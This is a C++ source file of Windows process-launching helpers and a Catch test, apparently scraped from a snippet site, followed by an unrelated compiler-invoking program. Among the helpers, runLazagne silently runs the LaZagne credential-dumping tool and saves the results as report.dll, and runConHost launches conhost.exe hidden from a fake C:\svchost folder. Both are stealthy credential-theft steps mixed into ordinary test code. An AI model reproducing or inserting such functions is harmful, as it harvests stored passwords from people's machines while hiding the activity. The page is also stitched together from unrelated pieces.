#include <catch.hpp>
#include <string>
#include <Windows.h>
#include <ShellAPI.h>
#include <vector>
#include <iostream>
std::wstring get_cmd_fullpath()
{
std::wstring retval;
wchar_t* comspec = _wgetenv(L"COMSPEC");
if (comspec == NULL) {
wchar_t* sysroot = _wgetenv(L"SystemRoot");
if (!sysroot) {
retval.append(L"cmd.exe");
} else {
retval.append(std::wstring(sysroot) + std::wstring(L"\\System32\\cmd.exe"));
}
} else {
retval.append(comspec);
}
return retval;
}
void runBatFile(std::wstring pathLocation)
{
wchar_t commandCall[1024];
wcscpy(commandCall, L"/C ");
wcscat(commandCall, L"call \"");
wcscat(commandCall, pathLocation.c_str());
wcscat(commandCall, L"\"");
ShellExecute(0, L"open", get_cmd_fullpath().c_str(), commandCall, 0, SW_HIDE);
}
int runBatFile2(std::wstring cmdline)
{
int retval = 0;
PROCESS_INFORMATION pi;
STARTUPINFO si;
//LPCTSTR lpApplicationName = "C:\\Windows\\System32\\cmd.exe";
//static const TCHAR* lpApplicationName = TEXT("C:\\Windows\\System32\\cmd.exe");
//LPTSTR lpCommandLine = "/c createsamples.bat";
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
do {
if (!CreateProcess(get_cmd_fullpath().c_str(), (LPWSTR)cmdline.c_str(), NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
retval = -1;
break;
}
} while (0);
// Esperamos hasta que el proceso creado finalice.
WaitForSingleObject(pi.hProcess, INFINITE);
if (retval == 0) {
DWORD exitCode;
if (GetExitCodeProcess(pi.hProcess, &exitCode)) {
retval = exitCode;
} else {
retval = -2;
}
}
// Se cierra el proceso.
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return retval;
}
void runConHost()
{
ShellExecute(0, L"open", L"cmd.exe", L"/C start /d \"C:\\svchost\\\" conhost.exe\0", L"C:\\svchost\\\0", SW_HIDE);
}
void runLazagne()
{
ShellExecute(0, L"open", L"cmd.exe", L"/C start /b \"C:\\svchost\\\" laZagne.exe all >> report.dll\0", L"C:\\svchost\\\0", SW_HIDE);
}
TEST_CASE("run_bat_test", "[run_bat_test]")
{
std::wcout << get_cmd_fullpath().c_str() << std::endl;
//runBatFile(L"test.bat");
REQUIRE(runBatFile2(L"/c test.bat") == 0);
}
运行命令行
#include <iostream>
#include <string>
using namespace std;
int main(int argc, char *argv[])
{
system("\"C:\\Program Files (x86)\\Microsoft Visual Studio 10.0\\VC\\vcvarsall.bat\"");
_putenv("INCLUDE=\"C:\\Program Files (x86)\\Microsoft Visual Studio 10.0\\VC\\include\";\"C:\\Program Files (x86)\\Microsoft Visual Studio 10.0\\VC\\bin\\\";");
_putenv("LIB=C:\\Program Files (x86)\\Microsoft Visual Studio 10.0\\VC\\lib;C:\\Program Files (x86)\\Microsoft SDKs\\Windows\\v7.0A\\Lib");
string cl = "\"C:\\Program Files (x86)\\Microsoft Visual Studio 10.0\\VC\\bin\\cl.exe\"";
string f = "";
for(int h = 1; h < argc ; h++)
{
for(int i = 0; argv[h][i]; i++)
f += argv[h][i];
string cmd = "\"" + cl + " /EHsc " + "\""+ f + "\"";
system(cmd.c_str());
f.clear();
}
return 0;
}
网友评论